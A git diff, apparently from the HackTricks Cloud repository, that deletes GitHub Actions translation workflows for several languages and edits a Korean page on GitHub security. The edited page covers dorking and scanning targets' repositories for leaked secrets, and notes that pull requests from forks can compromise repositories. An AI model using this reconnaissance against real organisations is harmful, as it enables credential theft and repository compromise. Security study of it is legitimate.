run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
|
||||
119
.github/workflows/translate_pl.yml
vendored
119
.github/workflows/translate_pl.yml
vendored
@@ -1,119 +0,0 @@
|
||||
name: Translator to PL (Polish)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: pl
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Polish
|
||||
BRANCH: pl
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.8
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
cd scripts
|
||||
rm -f translator.py
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
|
||||
119
.github/workflows/translate_pt.yml
vendored
119
.github/workflows/translate_pt.yml
vendored
@@ -1,119 +0,0 @@
|
||||
name: Translator to PT (Portuguese)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: pt
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Portuguese
|
||||
BRANCH: pt
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.8
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
cd scripts
|
||||
rm -f translator.py
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
|
||||
119
.github/workflows/translate_sr.yml
vendored
119
.github/workflows/translate_sr.yml
vendored
@@ -1,119 +0,0 @@
|
||||
name: Translator to SR (Serbian)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: sr
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Serbian
|
||||
BRANCH: sr
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.8
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
cd scripts
|
||||
rm -f translator.py
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
|
||||
119
.github/workflows/translate_sw.yml
vendored
119
.github/workflows/translate_sw.yml
vendored
@@ -1,119 +0,0 @@
|
||||
name: Translator to SW (Swahili)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: sw
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Swahili
|
||||
BRANCH: sw
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.8
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
cd scripts
|
||||
rm -f translator.py
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
|
||||
119
.github/workflows/translate_tr.yml
vendored
119
.github/workflows/translate_tr.yml
vendored
@@ -1,119 +0,0 @@
|
||||
name: Translator to TR (Turkish)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: tr
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Turkish
|
||||
BRANCH: tr
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.8
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
cd scripts
|
||||
rm -f translator.py
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
|
||||
119
.github/workflows/translate_uk.yml
vendored
119
.github/workflows/translate_uk.yml
vendored
@@ -1,119 +0,0 @@
|
||||
name: Translator to UK (Ukranian)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: uk
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Ukranian
|
||||
BRANCH: uk
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.8
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
cd scripts
|
||||
rm -f translator.py
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
|
||||
119
.github/workflows/translate_zh.yml
vendored
119
.github/workflows/translate_zh.yml
vendored
@@ -1,119 +0,0 @@
|
||||
name: Translator to ZH (Chinese)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: zh
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Chinese
|
||||
BRANCH: zh
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.8
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
cd scripts
|
||||
rm -f translator.py
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## What is Github
|
||||
|
||||
(From [here](https://kinsta.com/knowledgebase/what-is-github/)) 높은 수준에서, **GitHub는 개발자가 코드를 저장하고 관리하며 코드 변경 사항을 추적하고 제어하는 데 도움을 주는 웹사이트이자 클라우드 기반 서비스입니다**.
|
||||
(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub는 개발자가 코드를 저장하고 관리하며 코드 변경 사항을 추적하고 제어하는 데 도움을 주는 웹사이트이자 클라우드 기반 서비스입니다**.
|
||||
|
||||
### Basic Information
|
||||
|
||||
@@ -24,7 +24,7 @@ Github 리포지토리는 공개, 비공개 및 내부로 구성할 수 있습
|
||||
|
||||
### Github Dorks
|
||||
|
||||
Github는 **사용자, 리포지토리 또는 조직을 범위로 지정하여 무언가를 검색할 수 있도록 허용합니다**. 따라서 민감한 정보 근처에 나타날 문자열 목록을 사용하여 **대상에서 잠재적인 민감한 정보를 쉽게 검색할 수 있습니다**.
|
||||
Github는 **사용자, 리포지토리 또는 조직을 범위로 지정하여 무언가를 검색할 수 있게 합니다**. 따라서 민감한 정보 근처에 나타날 문자열 목록을 사용하여 **대상에서 잠재적인 민감한 정보를 쉽게 검색할 수 있습니다**.
|
||||
|
||||
도구 (각 도구는 자신의 dorks 목록을 포함합니다):
|
||||
|
||||
@@ -34,28 +34,22 @@ Github는 **사용자, 리포지토리 또는 조직을 범위로 지정하여
|
||||
|
||||
### Github Leaks
|
||||
|
||||
github dorks는 github 검색 옵션을 사용하여 유출을 검색하는 데에도 사용된다는 점에 유의하십시오. 이 섹션은 **각 리포지토리를 다운로드하고 그 안에서 민감한 정보를 검색하는 도구**에 전념하고 있습니다 (특정 깊이의 커밋을 확인하는 것 포함).
|
||||
github dorks는 github 검색 옵션을 사용하여 유출을 검색하는 데에도 사용됩니다. 이 섹션은 **각 리포지토리를 다운로드하고 그 안에서 민감한 정보를 검색하는 도구**에 전념하고 있습니다 (특정 커밋 깊이를 확인하기도 함).
|
||||
|
||||
도구 (각 도구는 자신의 regex 목록을 포함합니다):
|
||||
|
||||
- [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks)
|
||||
- [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog)
|
||||
- [https://github.com/eth0izzle/shhgit](https://github.com/eth0izzle/shhgit)
|
||||
- [https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob)
|
||||
- [https://github.com/anshumanbh/git-all-secrets](https://github.com/anshumanbh/git-all-secrets)
|
||||
- [https://github.com/kootenpv/gittyleaks](https://github.com/kootenpv/gittyleaks)
|
||||
- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
|
||||
이 페이지를 확인하세요: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**
|
||||
|
||||
> [!WARNING]
|
||||
> 리포지토리에서 유출을 찾고 `git log -p`와 같은 명령을 실행할 때 **다른 커밋이 포함된 다른 브랜치**가 있을 수 있음을 잊지 마십시오!
|
||||
> 리포지토리에서 유출을 찾고 `git log -p`와 같은 명령을 실행할 때 **비밀이 포함된 다른 커밋이 있는 다른 브랜치**가 있을 수 있음을 잊지 마세요!
|
||||
|
||||
### External Forks
|
||||
|
||||
**풀 요청을 악용하여 리포지토리를 손상시킬 수 있습니다**. 리포지토리가 취약한지 확인하려면 주로 Github Actions yaml 구성을 읽어야 합니다. [**자세한 정보는 아래를 참조하십시오**](./#execution-from-a-external-fork).
|
||||
